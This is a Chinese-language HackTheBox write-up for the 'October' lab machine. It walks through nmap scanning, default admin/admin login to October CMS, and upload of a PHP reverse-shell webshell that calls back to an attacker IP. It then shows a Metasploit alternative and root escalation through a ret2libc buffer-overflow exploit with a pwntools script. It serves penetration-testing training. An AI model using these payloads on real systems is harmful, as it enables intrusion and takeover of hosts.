HackTheBox通关手记之October
今天的文章是i春秋论坛作家「HAI_」表哥关于HackTheBox-October的通关分享,文章整体难度适中,基本思路就是通用漏洞打进去,然后bof提权,同时他也会对文中的HTB做一些思路总结。
0x01 信息收集
先简单的扫一下,然后再针对扫出来的端口进行详细扫,主要原因是因为HTB网络的问题。
nmap 10.10.10.16
这里通过详细扫可以看到80用的是October CMS,在下图中已经标出。
nmap -A -p22,80 10.10.10.16
0x02 Web——WebShell
1、推荐做法
先访问一下80,HTB一般针对22端口爆破的比较少,这里不优先进行考虑。
简单的看下有没有直接利用的功能,看过之后发现没有直接利用的地方,有注册和登录的接口,可以先搜一下有没有通用漏洞。
这里可以看到只有第一个有点看头,其他是xss,对拿到shell没有什么帮助。
searchsploit october
先下载一下
searchsploit -m exploits/php/webapps/41936.txt
打开看看,第一个漏洞就是我们想要的,文件上传bypass。
通过文件,我们知道这个cms有一个后台管理系统。
Octobercms默认密码是admin/admin,我们尝试一下,一般来说都是存在的,毕竟要给一条活路。下图是利用admin/admin登录成功的后台界面。
这里可以看到在media模块下有一个upload的功能点,应该就是漏洞文档中说的上传地方了。
这里经过测试发现需要先删除原来的dr.php5,然后再将自己的php改成dr.php5才行,我把上传的马贴上来,当然你愿意用冰蝎什么的,或者system也行,我这是为了方便可以直接弹nc,毕竟oscp要求需要可交互式的shell。
<?php $sock=fsockopen("10.10.14.4",12345);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>
成功上传后的地址为:
http://10.10.10.16/storage/app/media/dr.php5
下图是新上传的webshell
本地nc 监听,然后直接访问即可,拿到了webshell。
拿到shell的第一步就是先获取一下pty,如果没有获取的话,一些命令会执行不了,而且出了问题连为啥都不知道。
python -c 'import pty; pty.spawn("/bin/bash")'
2、msf一键梭
这里有一个取巧的办法,就是在知道这是一个OctoberCms之后直接搜索msf,这里不是很推荐,但是还是要知道,不推荐的原因是第一个是因为oscp限制msf一键,第二个原因是msf一键没啥感觉。
先开msf,第一次贴这个,第二次就不会贴了。
msfconsole
搜一下October相关脚本
search October
根据options的提示,配置好打过去就行。
use exploit/multi/http/october_upload_bypass_exec
set RHOSTS 10.10.10.16
set LHOST 10.10.14.4
run
0x03 WebShell——RootShell
这里就涉及到提权了,linux下也有一些辅助提权的脚本,我这里一般会使用LinEnum,但是一般情况,用手工的方式足够了。
当目标内核版本为最近版本的时候,我一般都会选择看一下suid,suid查出来的就是有root权限执行的命令,或者程序。
find / -perm -u=s -type f -exec ls -l {} \; 2>/dev/null
这里可以看到有一个可疑的/usr/local/bin/ovrflw这样的文件。
这里我们需要将文件dump下来,有两个选择,第一个是可以利用nc互传,第二个就是如果开了80,我就直接cp到web目录里下载,我这里是直接cp到目录里下载的。
cp /usr/local/bin/ovrflw /var/www/html/cms/storage/app/media
拿到本地进行分析一下,file 看一下,是32位系统。
file ovrflw
再看一下文件的保护,可以看到开了RELRO和NX保护。
RELRO:
设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,简单的说就是重定向表格的地址会变。
这里可以简单的看一下,如下图所示:
NX:
开了NX的话,就是说程序不会去执行shellcode,如果跳转到shellcode,CPU就会抛出异常。
那么就说,我们第一是地址不可控,第二就是无法写入shellcode。
逆向分析一下,ida拖进去,如下图所示:
F5之后会清楚一点,可以看到argv[1]不限长,然后dest长度固定,strcpy必然会造成bof,也就是缓存区溢出。
这里由于NX的开启,所以我们没法构造shellcode,那么我们现在绕过的方法,就是利用libc链接库来调用的方法,先看看能不能找到system函数。
函数表里没有,如下图所示,其他地方也没有看到,十有八九是没有了,那就只能找libc链接库来调用了。
先算下需要覆盖的偏移,dest自身的ebp-64h需要覆盖,那么换算成10进制就是100,strcpy有两个参数与,就是100+4+4=108,然后还有一个返回地址就是108+4=112。紧接着就是esp的位置了,这里就需要我们进行构造了。
当然我们也可以使用gdb进行一个验证,生成112位字符以及4位覆盖esp的字符。
python -c "print('a'*112+'b'*4)"
然后gdb下断,运行到strcpy位置就可以看到效果了。
接下来我们在本地kali机上接着找libc链接库,首先需要确定一下基址,这里拿到一个0xf7da5000。
然后根据lib找system的偏移,最后拿到0x000426e0
readelf -s /lib/i386-linux-gnu/libc.so.6 |grep system
然后还需要找到bin/sh的地址,0x17ff68
strings -atx /lib/i386-linux-gnu/libc.so.6 |grep /bin
最后我们组合一下就是
112*'a'+(0xf7da5000+0x000426e0)+'a'*4+(0xf7da5000+0x17ff68)
中间的'a'*4是返回地址,这里还有一个随机地址的问题,解决方法就是使用循环遍历,地址总会随机到这个,因为变的位置只有三位数,所以爆破一下不是问题。
最后使用pwntool生成最终的payload,因为大小端的问题,需要进行颠倒,使用pwntool会很方便。
下面这个是我写的脚本:
from pwn import *
offect=0xf7da5000
system=p32(offect+0x000426e0)
bash=p32(offect+0x17ff68)
payload='a'*112+system+"A"*4+bash
print(payload)
直接导出成exp进行使用,这里主要考虑到目标机可能没有pwntool,所以导成exp哪都可以用。
while true;do ./ovrflw $(cat exp);done
然后我们再根据以上的内容,在目标机器上进行执行就可以拿到rootshell了。
以上是今天要分享的内容,大家看懂了吗?